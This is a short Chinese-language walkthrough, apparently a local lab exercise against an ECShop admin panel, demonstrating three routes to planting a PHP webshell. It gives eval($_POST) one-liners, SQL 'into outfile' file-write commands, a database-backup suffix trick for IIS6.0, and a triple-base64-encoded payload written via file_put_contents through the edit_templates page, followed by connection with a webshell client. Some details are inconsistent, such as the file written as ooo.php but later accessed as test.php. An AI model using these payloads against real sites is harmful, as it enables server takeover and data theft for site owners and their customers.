一、登录情况

后台地址：127.0.0.1/ecshop/admin
因为后台没有放东西 嘛

所以就啥也没有

二、后台拿webshell三种思路演示

1：执行数据库命令拿webshell

首先需要找到可写入命令的页面：

select '<;?php eval($_POST[1])?>;' into outfile'

最后经过测试?和into outfile都会报错

这里可以利用符号代替或者混淆的方式替换掉，最终的思路是写入一句话

在into outfile写入到改库的WWW目录下生成一个shell-php即可蚁剑链接

一般sql写入文件命令

 select "<?php phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt"

2：数据库备份拿webshell

基本上获得的后台管理页面都存在数据库备份模块，该方法适合大部分框架！

利用信息收集到该框架是IIS6.0、存在最小备份和自定义备份

备份文件后缀是.sql备份文件。

IIS6.0可以这么操作：

将sql替换掉php在加入一个;符号即可

继续去自定义备份

这里将利用ecs_friend_link进行写入一句话，意思是友情链接模块。

3： 代码执行拿webshell

信息收集 扫一波

知道 这个页面可以进行代码执行

http://127.0.0.1/ecshop/admin/order.php?act=edit_templates

上burp
这里是get请求 手动 改成POST请求

写入一句话：<?php @eval($_POST[aa]);?>

经过三次base64编码

VUVRNWQyRklRV2RSUjFZeVdWZDNiMHBHT1ZGVU1VNVZWekpHYUZoVGF6ZFFlalE5

进行写入

file_put_contents('ooo.php',base64_decode('VUVRNWQyRklRV2RSUjFZeVdWZDNiMHBHT1ZGVU1VNVZWekpHYUZoVGF6ZFFlalE5')); ?>

成功写入

关闭代理即可，回到页面
打开订单查询模块，随意查看任意订单

点击打印订单 就会触发前面注入的代码并执行，执行中一句话会写入新的test.php文件中

最后蚁剑进行连接 即可

http://127.0.0.1/ecshop/admin/test.php